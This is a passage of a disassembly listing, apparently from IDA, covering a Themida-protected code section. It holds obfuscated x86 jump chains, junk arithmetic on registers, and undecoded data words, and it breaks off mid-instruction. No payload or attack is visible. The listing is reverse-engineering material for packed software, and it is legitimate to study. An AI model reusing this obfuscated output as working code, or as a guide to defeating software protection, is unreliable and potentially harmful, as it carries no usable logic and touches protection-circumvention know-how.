loc_5548DC: ; CODE XREF: Themida_:0055A607j push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 jmp loc_55702F ; --------------------------------------------------------------------------- loc_5548EB: ; CODE XREF: Themida_:0055F591j dec edx xor edx, 584F0E3h add ebx, 0F4B12A1h jmp loc_559469 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0C3h dd 89FDBBD4h, 263E9D7h, 0E9830000h, 240C8704h, 0A76CE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_554916: ; CODE XREF: Themida_:00553CC1j xor ebx, esi jmp loc_553EF3 ; --------------------------------------------------------------------------- aRsO db 'Ré,Ž',0 db 0 ; --------------------------------------------------------------------------- loc_554923: ; CODE XREF: Themida_:00554AA9j or edx, eax shl edx, 1 sub esp, 4 jmp loc_55DCE1 ; --------------------------------------------------------------------------- dw 665Ch dd 66241489h, 0E0E99C50h, 8BFFFFEBh, 8B662424h, 9F682404h dd 89000066h, 6568243Ch, 89000050h, 0F0E92424h db 19h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55495B: ; CODE XREF: Themida_:0055C6CEj push dword ptr [esp] pop ecx push ebp mov ebp, esp push ebp mov ebp, esp jmp loc_55C162 ; --------------------------------------------------------------------------- dw 0B0E9h dd 4FFFFEBh, 0E9F028C7h, 7F46h dword_554978 dd 240C8B66h, 0FFF429E9h, 4BF57FFh, 1000000h, 5F04247Ch ; DATA XREF: Themida_:0055333Co dd 4C7815Fh, 50000000h, 4B8h, 58C70100h, 31243C33h, 5EE9243Ch db 0ADh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5549A7: ; CODE XREF: Themida_:0055979Ej mov ecx, [esp] jmp loc_55A9B6 ; --------------------------------------------------------------------------- loc_5549AF: ; CODE XREF: Themida_:0055CE34j mov edx, [esp] add esp, 4 add edx, 296C7ECCh jmp loc_5555A7 ; --------------------------------------------------------------------------- db 2Dh dd 356C46BEh, 2A5C2205h, 73012D58h, 0D8297EE1h, 119868h dd 240C8900h, 0E17301B9h, 8BC8017Eh, 0E953240Ch, 0AB2Ch dd 4B50E959h, 0D8000000h, 252C2404h, 8B0AE9h, 56F18100h dd 0E9149519h, 4BA4h, 0FFEB12E9h db 0FFh byte_554A0D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0055325Co dd offset dword_4CF5F4+3BF5h db 0 byte_554A15 db 68h, 8Bh, 1Bh ; DATA XREF: Themida_:0055324Co dd 1C890000h, 3A68E924h, 0C1800000h, 0E5E98086h, 4ABE9h db 0 byte_554A2D db 0ACh, 83h, 0ECh ; DATA XREF: Themida_:005534C4o dd 240C8904h, 527CB652h, 0D2F6B3B2h, 15F4E9h db 0 byte_554A41 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00553384o dd 0EC835124h, 24248904h, 4240481h, 0FF000000h, 83592434h dd 48904ECh, 5E08924h, 4, 64A9E9h, 0E9525100h, 26C4h, 0E905E2C0h dd 18B2h dword_554A78 dd 9D1C77FFh, 14D25966h, 0ADE99C24h, 2800008Bh, 39EB80E3h ; DATA XREF: Themida_:005532F8o dd 582434FFh, 92B7E9h db 0 ; --------------------------------------------------------------------------- loc_554A95: ; CODE XREF: Themida_:0055D1AEj push edx mov edx, 1B455BF8h jmp loc_5575F0 ; --------------------------------------------------------------------------- loc_554AA0: ; CODE XREF: Themida_:0055D78Dj pop esp and eax, ecx mov ecx, [esp] add esp, 4 jmp loc_554923 ; --------------------------------------------------------------------------- dw 504Ah dd 4169D6B8h, 58C23166h, 37FBE9h, 23BB6600h, 0F381660Bh dd 816646A3h, 0E9288FEBh, 40C4h ; --------------------------------------------------------------------------- loc_554AD0: ; CODE XREF: Themida_:0055B6EBj pop dword ptr [esp] jmp loc_55E035 ; --------------------------------------------------------------------------- dd 8B241433h, 0D3662424h, 0E99C2424h, 0FFFFEA37h, 5C243C87h dd 6332E955h, 0E9590000h, 0FFFFEE68h, 2EE9F204h db 0ACh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554AFF: ; CODE XREF: Themida_:0055B0DFj xor ebp, 4AA96FB4h mov eax, ebp jmp loc_55B9C7 ; --------------------------------------------------------------------------- dd 5C243C33h, 6853F1F7h, 0AD5h, 2BF4E9h db 0 ; --------------------------------------------------------------------------- loc_554B1D: ; CODE XREF: Themida_:0055C0E3j mov [esp], edx jmp loc_557161 ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 17E5E9h, 0E9EDE900h, 0FE29FFFFh, 81243C8Bh, 4C4h, 14346800h dd 34890000h, 348B5A24h, 4C48324h, 840FC90Bh, 1008h, 815B5453h dd 4C3h, 4EB8300h, 2A0968h, 241C8900h, 7470E9h, 0EF815A00h dd 0E2F34A4h, 0E9D0F797h, 0FFFFFA15h ; --------------------------------------------------------------------------- loc_554B7C: ; CODE XREF: Themida_:0055CD0Dj add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] add ecx, 4 sub ecx, 4 xor ecx, [esp] jmp loc_555B98 ; --------------------------------------------------------------------------- aFqss db 'fQéé#',0 align 2 dw 0EA81h dd 2E3E36C2h, 1307CA81h, 6EE957CFh, 50000052h, 0DC3C75B8h dd 0FC47B973h, 0C1014FA4h, 8BCA2958h, 0C481240Ch, 4, 148BD031h dd 4C48324h, 5D02E9h, 0DF015800h, 0C28BA52h, 0D72967E7h dd 5FB5E9h, 9EB95100h, 8117EF44h, 0D52ECC1h, 82E18172h dd 817CC61Ah, 0BC2335E1h, 4F18165h, 1008402h, 40559C8h dd 87000000h, 815C2404h, 4C3h, 4C38100h, 33000000h, 0BE9241Ch dd 5600000Dh, 0C6815E54h, 4, 8F08E953h, 0E9500000h, 5FC8h dd 31240433h, 0B0E92404h, 66000009h, 5B3535Bh, 8004E3C0h dd 6EE96CC3h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554C5B: ; CODE XREF: Themida_:0055D36Bj add esp, 4 push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 xor edx, [esp] jmp loc_559B90 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFE897h, 24448166h, 66523502h, 2244C01h, 246C8166h dd 66523502h, 6B02E953h, 0F660000h, 41E9C8B6h, 5B000013h dd 4EC81h, 14890000h, 0F6ABB224h, 2FCA80D2h, 80A9C280h dd 0C280BDEAh, 8BD300C3h, 26E92414h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_554CCF: ; CODE XREF: Themida_:0055B98Bj not ecx and ecx, 28617C9Dh add ecx, 3EB7CC2Fh jmp loc_555CC9 ; --------------------------------------------------------------------------- dw 433h dd 24248B24h db 0F7h, 0E1h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx jmp loc_55E6EC ; --------------------------------------------------------------------------- db 81h dd 8163B0C6h, 34335B25h, 24343124h, 8B243433h, 2C812424h dd 0C6158D24h, 7200680Ch, 0C890000h, 2BD6824h, 0E9591CACh dd 0FFFFF85Dh, 0E388BFB4h, 8F42E9h db 0 ; --------------------------------------------------------------------------- loc_554D29: ; CODE XREF: Themida_:00558FF2j mov ecx, [esp] add esp, 4 push ebx push 7FEBh mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx mov ebx, [esp] jmp loc_55A470 ; --------------------------------------------------------------------------- db 0B9h dd 6AB11B86h, 0E181D9F7h, 5B8C51EFh, 7B19E981h, 57553404h dd 7F1A3768h, 2DBAE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D6A: ; CODE XREF: Themida_:0055CB8Fj sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_55FB38 ; --------------------------------------------------------------------------- dd 81240429h, 0F062404h, 4812E90h, 966F4524h, 0E789E91Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554D96: ; CODE XREF: Themida_:0055679Cj xor eax, 4FA76B07h add edi, eax pop eax push ebp mov ebp, 2F4E0C72h or ebp, 5DE67DCh sub ebp, 0FFFFFFFFh xor ebp, 167C1EDEh xor ebp, 39A27125h add edi, 17ED4256h jmp loc_55F1B0 ; --------------------------------------------------------------------------- db 56h dd 4BEh, 0E9F00100h, 7B01h, 4C481h, 4A680000h, 8900005Ah dd 2BF243Ch, 1000000h, 14335FFAh, 24143124h, 0FFFCE3E9h dd 4C481FFh, 28000000h, 2EEB80C3h, 0D8005866h, 83241C8Bh dd 4E6804C4h, 8900005Dh, 0D4B1240Ch, 7E9D9F6h, 59FFFFFCh dd 6ABCA81h, 0F2816F40h, 7FEC2FAFh, 7D17E9h db 0 byte_554E2D db 0FFh, 34h, 24h ; DATA XREF: Themida_:005532A4o dd 8B2434FFh, 0C4832414h, 4C48304h, 437168h, 242C8900h dd 0ACB8E9h, 19C7BF00h, 0BB537360h, 43745012h, 0F75BDF21h dd 0E94F47D7h, 7C95h, 7254BB8h, 58C13112h, 96EDE9h, 665D6600h dd 7FE3C681h, 5E6C166h, 4CCAE9h, 0E69DE900h, 0EC83FFFFh dd 240C8904h, 12C368h, 243C8900h, 0FC8B951h, 0C7E926CCh db 0A5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554E9B: ; CODE XREF: Themida_:0055A81Cj pop esp jmp loc_55F9D2 ; --------------------------------------------------------------------------- db 89h, 0E2h, 68h dd 3018h, 0BB241C89h, 4, 3B4FC281h, 0DA01379Eh, 3B4FEA81h dd 815B379Eh, 4C2h, 4EEE900h, 54560000h, 4B46E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554ED2: ; CODE XREF: Themida_:005543C0j pop ecx jmp loc_559A28 ; --------------------------------------------------------------------------- dd 68FFE980h, 89h, 66240C89h, 0F7885350h, 1C8BFC88h, 4C48124h dd 8A000000h, 88022474h, 66022464h, 50D6F658h, 748AF488h dd 74E90424h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_554F0B: ; CODE XREF: Themida_:0055856Cj mov al, 3Fh sub al, 0DAh shl al, 8 inc al add al, 0 add dh, al pop eax and dh, 1Eh push eax mov al, 4Ch neg al sub al, 8Ah or al, 63h dec al xor al, 23h xor dh, al pop eax sub al, dh pop edx push eax push 3FEBh mov [esp], esp add dword ptr [esp], 4 pop eax push esi mov esi, 77F1355Bh shl esi, 7 add esi, 5FCA2BC5h push 4DF7h mov [esp], edx mov edx, 5864D941h xor esi, edx jmp loc_556B8D ; --------------------------------------------------------------------------- db 8Bh dword_554F64 dd 0C4812414h, 4, 8304E2C1h, 0C28101C2h, 0FFFFFFFFh, 4674BE56h ; DATA XREF: Themida_:off_5684A6o dd 0B0E98792h, 0BF000035h, 1FFF6264h, 15FFE29h, 64C681D6h dd 8B1FFF62h, 89502414h, 9C35E9E0h, 17350000h, 89C6341Ah dd 0DEF758C6h, 7CE5C681h, 0EA815055h, 7F590390h, 4C09C281h dd 0F2292A8Fh, 4C09EA81h, 0C2E92A8Fh, 59000000h, 2209E95Fh dd 4810000h, 424h, 56505B00h, 4E2D80BEh, 2DE95669h, 0BF000063h dd 4, 45A3EE81h, 79E92C57h, 5B000061h, 5854BF57h, 0C0E92339h dd 540000A3h, 4C18159h, 81000000h, 4E9h, 0E7E8E900h, 0F330FFFFh dd 232DE9h, 51B8BF00h, 0EFC13797h, 0B4F78105h, 0E9DB770Dh dd 0FD1h, 2F67E958h, 0EC200000h, 8C48059h, 0E9CDEC80h dd 5846h, 273BF781h, 30E90E51h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55504B: ; CODE XREF: Themida_:0055ECA5j push 62D6h mov [esp], esp jmp loc_55CD02 ; --------------------------------------------------------------------------- dd 104C483h, 87B0E9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_555062: ; CODE XREF: Themida_:0055362Dj mov edi, 2D622528h xchg ecx, edi not ecx xchg ecx, edi inc edi dec edi sub edi, 0FFFFFFFFh add edi, 1 add edi, 940226A2h mov ecx, edi pop edi jmp loc_55F842 ; --------------------------------------------------------------------------- db 55h, 0BDh, 90h dd 17F5903h, 348B5DEAh, 4C48124h, 0E9000000h, 0FFFFE47Fh ; --------------------------------------------------------------------------- loc_5550A0: ; CODE XREF: Themida_:00555B6Cj push esi push 761C19B0h pop esi or esi, 59AC2363h jmp loc_55F46D ; --------------------------------------------------------------------------- dw 9525h dd 0D5F301Bh, 7C1347Bh, 0FFF1DCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5550C1: ; CODE XREF: Themida_:0055BCFEj mov eax, 25486A49h not eax or eax, 7515176h add eax, 7BE20B7Dh jmp loc_55BFF8 ; --------------------------------------------------------------------------- byte_5550D7 db 66h ; DATA XREF: Themida_:00553278o dd 66240431h, 66240433h, 83240431h, 896602ECh, 52662404h dd 2474FF66h, 665A6602h, 6624048Fh, 4876652h, 66936624h dd 0CEE9D3F7h, 4AFFFFF4h, 7212E9h, 59CF8900h, 55EAE9h dd 241C8700h, 0E9E8215Ch, 4F3Ah ; --------------------------------------------------------------------------- loc_555120: ; CODE XREF: Themida_:00559B08j xor eax, edi xor edi, eax shl edi, 8 xor edi, 3D0D2E00h and eax, edi mov edi, [esp] jmp loc_55F16B ; --------------------------------------------------------------------------- db 1 dd 30ED81FDh, 5F657321h, 371D68h, 241C8900h, 2BBh, 5BDD0100h dd 2919E957h, 0EE890000h, 2025E95Dh, 0C7810000h, 4, 0E904C783h dd 1719h, 0C981D1F7h, 2B3938C7h, 0FCEBE981h, 0ACE9FFFFh dd 8800009Ch, 58042464h, 3C37E959h db 2 dup(0) word_55518A dw 0C8Bh ; DATA XREF: Themida_:005533A4o dd 7FE95524h, 0FF000072h, 835F2434h, 0E18104C4h, 1F937B3Dh dd 66EDE9h, 0EAC15A00h, 29C28107h, 817C8D6Ch, 0C27F94C2h dd 0E9D189B5h, 6B7Ch ; --------------------------------------------------------------------------- loc_5551BC: ; CODE XREF: Themida_:0055CB81j sub dword ptr [esp], 49A0615Eh mov eax, [esp] jmp loc_55598B ; --------------------------------------------------------------------------- loc_5551CB: ; CODE XREF: Themida_:005547B4j mov esi, 20011E8Ch dec esi add esi, 0DFFEE179h add ebp, 2724257Dh add ebp, esi sub ebp, 2724257Dh pop esi push esi push eax push ecx mov ecx, 10A31163h xor ecx, 19B3799Ch mov eax, ecx pop ecx mov esi, 7D276D2Ah jmp loc_556C4E ; --------------------------------------------------------------------------- db 0FFh, 30h, 0E9h dd 0FFFFE317h, 33242C31h, 248B242Ch, 68E9F724h, 3D3Bh dd 54242C89h, 4BE565Dh, 81000000h, 77773EEDh, 81F5014Ah dd 77773EC5h, 24348B4Ah, 242A68h, 14AEE900h, 53660000h dd 3DE9B0B7h, 0BB000054h, 4, 0FFE9h, 24048700h, 824248Bh dd 0E99C2404h, 0FFFFE2BFh, 0C681E689h, 4, 48E7E9h, 58C13100h dd 536CD305h, 172BE946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55527A: ; CODE XREF: Themida_:0055BBA7j mov bl, 0F8h mov al, 0D8h jmp loc_55E3D5 ; --------------------------------------------------------------------------- db 51h dd 0CB895952h, 592434FFh, 0E9E18951h, 30FCh ; --------------------------------------------------------------------------- loc_555294: ; CODE XREF: Themida_:0055981Aj push edx push edi push 8143DFh pop edi jmp loc_556D66 ; --------------------------------------------------------------------------- loc_5552A1: ; CODE XREF: Themida_:0055E64Ej sub ecx, 312536B2h shr ecx, 3 add ecx, 67F41474h push ebp mov ebp, 713C4B23h inc ebp not ebp or ebp, 583D379Bh or ebp, 11D42E76h jmp loc_559EBE ; --------------------------------------------------------------------------- dw 1489h dd 13BE5624h, 0C152A94Ch, 0D6E906EEh, 30000029h, 0E99C2404h dd 0FFFFE23Bh ; --------------------------------------------------------------------------- loc_5552E4: ; CODE XREF: Themida_:00553D26j add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_556839 ; --------------------------------------------------------------------------- aASI db '€Ã',9,'é',0Bh,'i',0 db 0 ; --------------------------------------------------------------------------- loc_5552FD: ; CODE XREF: Themida_:0055BF87j push 5EFAh mov [esp], ebx mov ebx, 340F3BABh push esi mov esi, 1A543B1h shr esi, 7 or esi, 6C143EFAh push eax mov eax, offset byte_5B067F xor esi, eax pop eax or ebx, esi pop esi inc ebx inc ebx push eax mov eax, 3BAF23DEh sub eax, 0BDAA1026h add ebx, eax pop eax push edx mov edx, 74B9294Bh or edx, 6E640196h shr edx, 3 jmp loc_557CDC ; --------------------------------------------------------------------------- loc_555349: ; CODE XREF: Themida_:0055765Dj mov dh, 4Ah jmp loc_55643C ; --------------------------------------------------------------------------- dd 685BD901h, 3FCAh, 0FFEF68E9h, 0DE8852FFh, 0DEE9D6F6h dd 2D000061h, 77B779D3h, 220F5505h, 2DF82900h, 220F55h dd 6570E955h, 1C870000h, 24248B24h, 54243489h, 8750E95Eh dd 0EF810000h, 665B788Bh, 37ACE9h db 0 ; --------------------------------------------------------------------------- loc_555399: ; CODE XREF: Themida_:0055DC66j add esp, 4 push eax jmp loc_558204 ; --------------------------------------------------------------------------- dw 15Fh dd 1BC681C6h, 580C1A6Dh, 5C243487h, 0E99CC138h, 0FFFFE167h dd 8B241487h, 0A3682424h, 89000000h, 54E92404h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5553CB: ; CODE XREF: Themida_:0055A5C3j sub esp, 4 mov [esp], edi mov edi, 0F213F485h jmp loc_557E31 ; --------------------------------------------------------------------------- loc_5553DB: ; CODE XREF: Themida_:00556556j sub ecx, edi pop edi push ebx mov ebx, ecx mov eax, ebx pop ebx pop ecx jmp loc_5597C1 ; --------------------------------------------------------------------------- dw 0BB53h dd 4, 2467E9h, 0FAEB8000h, 2814EE80h, 14C680DEh, 81241C8Bh dd 4C4h, 5AF30000h, 0E941EB80h, 1960h, 0C922CBBFh, 81DFF754h dd 188614EFh, 220CE979h, 0C6010000h, 4EC8158h, 89000000h dd 2C812434h, 473CD724h, 2434FF74h, 4C4815Fh, 68000000h dd 7283h, 0FFFE7DE9h, 2C281FFh, 33000000h, 0AFE92414h db 77h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55545B: ; CODE XREF: Themida_:0055DBA6j pop esp push esi push 3D1Ch mov [esp], esp jmp loc_557F1F ; --------------------------------------------------------------------------- aBuwaskseb db 'îwaské¥',0 dd 2C28300h, 470E9h, 4C48100h, 68000000h, 1ECEh, 68243C89h dd 30F5h, 81242489h, 42404h, 815F0000h, 4C7h, 4C78300h dd 5C243C87h, 4CCEE9h, 4C18300h, 5C240C87h, 0E904EC83h dd 8475h ; --------------------------------------------------------------------------- loc_5554BC: ; CODE XREF: Themida_:00554133j pop eax push edx jmp loc_55EE15 ; --------------------------------------------------------------------------- loc_5554C3: ; CODE XREF: Themida_:00558608j push eax mov al, 0F3h jmp loc_558804 ; --------------------------------------------------------------------------- db 5Ah dd 5201ED80h, 0C2802FB2h, 5AD52016h, 5203E5C0h, 0EE8068B6h dd 0E1EE8001h, 662BF680h, 2C29E951h, 0C2810000h, 4, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 0E95C2414h, 8F8Dh, 3FE9CE28h db 99h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555513: ; CODE XREF: Themida_:0055D127j xor dword ptr [esp], 96F4C55h pop eax sub esp, 4 mov [esp], ecx jmp loc_55A427 ; --------------------------------------------------------------------------- aASK db 'Àí',8,'éËŠ',0 db 0 ; --------------------------------------------------------------------------- loc_555531: ; CODE XREF: Themida_:00554709j push ebp jmp loc_558791 ; --------------------------------------------------------------------------- db 8Bh dd 0C483240Ch, 0E9C33104h, 27EFh ; --------------------------------------------------------------------------- loc_555544: ; CODE XREF: Themida_:0055CC2Bj push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_55C369 ; --------------------------------------------------------------------------- loc_555551: ; CODE XREF: Themida_:0055C31Aj push esp pop edx jmp loc_55C847 ; --------------------------------------------------------------------------- loc_555558: ; CODE XREF: Themida_:0055AEA7j mov [esp], ebx mov ebx, esp push ecx mov ecx, 7FEA3F55h push ebp mov ebp, 7FEA3F51h sub ecx, ebp jmp loc_55E09F ; --------------------------------------------------------------------------- dd 3902BD55h, 73BB64D7h, 1FC7D38h, 9BE95DEBh, 58000077h dd 0B551585Ah, 0FF9BE94Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55558E: ; CODE XREF: Themida_:0055BE4Dj add esp, 4 and eax, ecx pop ecx jmp loc_55F995 ; --------------------------------------------------------------------------- loc_555599: ; CODE XREF: Themida_:0055DC98j inc ebp xor ebp, 5E9E711Fh xor edx, ebp jmp loc_55EEA2 ; --------------------------------------------------------------------------- loc_5555A7: ; CODE XREF: Themida_:005549BEj add edx, esi sub edx, 296C7ECCh mov esi, [esp] add esp, 4 push edx jmp loc_55899E ; --------------------------------------------------------------------------- db 0FFh dd 5D042474h, 8B24048Fh, 8B662424h, 0E9562404h, 89E8h dd 3B31E95Bh, 0F7890000h, 0E92434FFh, 965Dh ; --------------------------------------------------------------------------- loc_5555E0: ; CODE XREF: Themida_:0055C550j push ebp jmp loc_55C454 ; --------------------------------------------------------------------------- dw 0BA52h dd 2FE90E26h, 0BB53D2F7h, 3C834709h, 0F8E9DA01h, 33FFFFF9h dd 665C2404h, 9C2404D3h, 0FFDF16E9h, 0E6CD80FFh, 88FEC580h dd 0E72059ECh, 39C78058h, 1C8BFD88h, 4C48124h, 30000000h dd 815966E8h, 4ECh, 0A83E900h, 5E660000h, 91F68166h, 0E9586671h dd 0FFFFE42Ah ; --------------------------------------------------------------------------- loc_555640: ; CODE XREF: Themida_:0055BD99j add eax, 243A0F4Fh sub eax, 36456E8Ch jmp loc_553E74 ; --------------------------------------------------------------------------- db 89h dd 0F3E9243Ch, 80FFFFE2h, 506651EBh, 0EB80DBB0h, 80C328B6h dd 5866B6C3h, 80AEC380h, 8DE913EBh, 89FFFFE2h, 12BE2434h dd 0BB11B913h, 22B2B05Ah, 6792C381h, 0BE562F22h, 9DC38EDh dd 0EE81DEF7h, 229E5834h, 4185E946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55569A: ; CODE XREF: Themida_:0055F2E8j add bl, 0DCh jmp loc_557656 ; --------------------------------------------------------------------------- dw 34FFh dd 6EE95B24h db 0Eh, 2 dup(0) aMsgu db '¬ég“',0 ; DATA XREF: Themida_:005533E4o db 0 ; --------------------------------------------------------------------------- loc_5556B1: ; CODE XREF: Themida_:00559A57j add dword ptr [esp], 4 pop edi add edi, 4 push edx push ecx mov ecx, 4 push ecx jmp loc_555AD9 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89240C89h, 4C181E1h, 83000000h, 50E904C1h, 5E00004Bh dd 864CE9h, 71FDB900h, 0A0E92640h db 9Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5556EF: ; CODE XREF: Themida_:00558B63j pop edi add eax, ecx pop ecx shl eax, 4 or eax, 66CC75D8h add eax, 4E1B0D78h mov ebp, eax jmp loc_55CB22 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5E7C000h, 5108E7C0h, 70EFE950h, 0F3800000h, 1EB80A1h dd 0E939EB80h, 6A16h, 8324048Bh, 545704C4h, 81243C8Bh dd 4C4h, 4B85000h, 0E9000000h, 7F92h ; --------------------------------------------------------------------------- loc_555744: ; CODE XREF: Themida_:0055F491j add ecx, 14ED3850h jmp loc_553ECB ; --------------------------------------------------------------------------- db 59h dd 0E924048Bh, 1EE1h ; --------------------------------------------------------------------------- loc_555758: ; CODE XREF: Themida_:0055CDB7j mov ebx, 3AE41DCAh sub ebx, 61971490h jmp loc_55A72C ; --------------------------------------------------------------------------- loc_555768: ; CODE XREF: Themida_:0055A94Cj add ebp, 4 xchg ebp, [esp] pop esp shr eax, 18h xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx push 55F7h mov [esp], ebx not dword ptr [esp] mov ebx, [esp] jmp loc_55A748 ; --------------------------------------------------------------------------- dd 0D6E95Bh, 81660000h, 71912434h, 0FFFE91E9h db 0FFh ; --------------------------------------------------------------------------- loc_5557A1: ; CODE XREF: Themida_:00558835j xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55351F ; --------------------------------------------------------------------------- dd 4268BA52h, 0D00104B3h, 0E9E8015Ah, 4B59h, 0E9241489h dd 0FFFFE40Bh dword_5557C8 dd 240C8B66h, 86A9E9h, 2474FF00h, 1EB1E904h, 0E8010000h ; DATA XREF: Themida_:00553318o dd 0E9575B5Dh, 61BDh, 254F6851h, 50591207h, 0FFF66FE9h dd 0E78159FFh, 23472E15h, 0C108EFC1h, 0C78104EFh, 27B704A8h dd 0C15FFA21h, 6AE905E2h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55580F: ; CODE XREF: Themida_:0055454Ej sub al, 79h sub al, 8Fh jmp loc_55D3F3 ; --------------------------------------------------------------------------- loc_555818: ; CODE XREF: Themida_:0055D8CAj mov [esp], ecx mov ecx, eax mov edx, ecx jmp loc_55DDAD ; --------------------------------------------------------------------------- dd 5FA3BF57h, 0CF8107FEh, 5576264Dh, 5B23E9h, 0E3895300h dd 4C381h, 0C3830000h, 241C8704h, 5954515Ch, 38D4BB53h dd 0EBC173CBh, 0CB814303h, 20A72560h, 5B92E9h, 0DCBDE900h dd 405FFFFh, 0E9000000h, 365Bh, 5C243C87h, 6C50E9h, 49F28100h dd 0C141383Dh, 0EA8108EAh, 8B3D94h, 6D22C581h, 0D5013F23h dd 6D22ED81h, 535A3F23h, 0B776EBBh, 7EBA5237h, 4A34441Bh dd 0E905EAC1h, 6698h aFnfvfps00 db 'ffVfPé00',0 ; DATA XREF: Themida_:00553264o db 0 ; --------------------------------------------------------------------------- loc_5558B3: ; CODE XREF: Themida_:00556B20j push ebp neg dword ptr [esp] pop ebp jmp loc_55D4E3 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 5AD68h, 24048900h, 96F7E9h db 0 ; --------------------------------------------------------------------------- loc_5558CD: ; CODE XREF: Themida_:00558BE6j mov esi, esp jmp loc_559672 ; --------------------------------------------------------------------------- dd 0EC83C6FEh, 24048904h, 2CE903B0h, 35000018h, 5DA2014Ah dd 8727E9h, 24143300h, 0E9241431h, 6D12h, 8704C783h, 5C243Ch dd 2434FFF8h, 2CB6E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55590A: ; CODE XREF: Themida_:0055D7B9j push ebp push 1360h jmp loc_553EA1 ; --------------------------------------------------------------------------- db 5Ch, 0E9h, 0F3h db 0EDh, 2 dup(0FFh) byte_55591B db 0FFh ; DATA XREF: Themida_:0055329Co dd 0EC811C77h, 4, 0E9241C89h, 4C06h, 8F59CB29h, 0DBE9E900h dd 1C31FFFFh, 241C3324h, 3124248Bh, 0D8E92404h, 81FFFFDBh dd 0CCB13FC7h, 26E965h db 2 dup(0) ; --------------------------------------------------------------------------- loc_555952: ; CODE XREF: Themida_:00559932j sub eax, 2 xchg eax, [esp] jmp loc_5596F7 ; --------------------------------------------------------------------------- aZsqc db 'ZéŸC',0 dw 8300h dd 0E95302C3h, 0FFFFEE37h, 0CFE959B2h, 0E9000008h, 0FFFFDBA7h dd 0E95FFA29h, 1DB9h ; --------------------------------------------------------------------------- loc_555980: ; CODE XREF: Themida_:0055C71Ej pop esi xor ebp, ecx mov ecx, [esp] jmp loc_55DBD6 ; --------------------------------------------------------------------------- loc_55598B: ; CODE XREF: Themida_:005551C6j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push ebx mov ebx, 32873E6Bh push ebp push eax mov eax, 74AF229Eh mov ebp, offset word_577E4A jmp loc_559619 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4C281h, 0E9520000h, 3E71h, 0B606F705h, 5937E972h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5559CE: ; CODE XREF: Themida_:00553E67j add esp, 4 loc_5559D1: ; CODE XREF: Themida_:00556E4Bj push 2371h mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp mov ebp, esp push esi mov esi, 4 jmp loc_55B604 ; --------------------------------------------------------------------------- dword_5559F0 dd 240C8B66h, 666168h, 243C8900h, 0F29E9h, 7E8BF00h, 0D7F73A31h ; DATA XREF: Themida_:00553444o dd 28AF781h, 0CF81658Ch, 2D130F47h, 0E639EF81h, 0EA813062h dd 356554BDh, 0C281FA01h, 356554BDh, 0FCC2815Fh, 0FF7F2F56h dd 24048B32h, 5A04C483h, 1E0968h, 24048900h, 0AF0AEBB8h dd 0F8F20518h, 0C201ED18h, 0DBEA8158h, 11A2065h, 0DBC281C2h dd 831A2065h, 348904ECh, 0A1E95024h, 8900008Eh, 34FF241Ch db 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], edx mov edx, esp add edx, 4 push ecx push eax mov eax, 685C18F9h add eax, 97A3E70Bh mov ecx, eax pop eax add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_55B8FE ; --------------------------------------------------------------------------- db 0B8h, 36h, 1Ah dd 0C301213Bh, 97E95058h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555ABF: ; CODE XREF: Themida_:0055CF41j shl edx, 1 push 1F8Bh mov [esp], ebx sub esp, 4 mov [esp], eax mov eax, 2EC315Bh jmp loc_5577F6 ; --------------------------------------------------------------------------- loc_555AD9: ; CODE XREF: Themida_:005556C4j pop edx pop ecx sub edi, 8C3F60h add edi, edx add edi, 8C3F60h pop edx push edi push dword ptr [esp+4] jmp loc_5567F8 ; --------------------------------------------------------------------------- loc_555AF4: ; CODE XREF: Themida_:0055BAE5j push 13F6h mov [esp], eax mov eax, 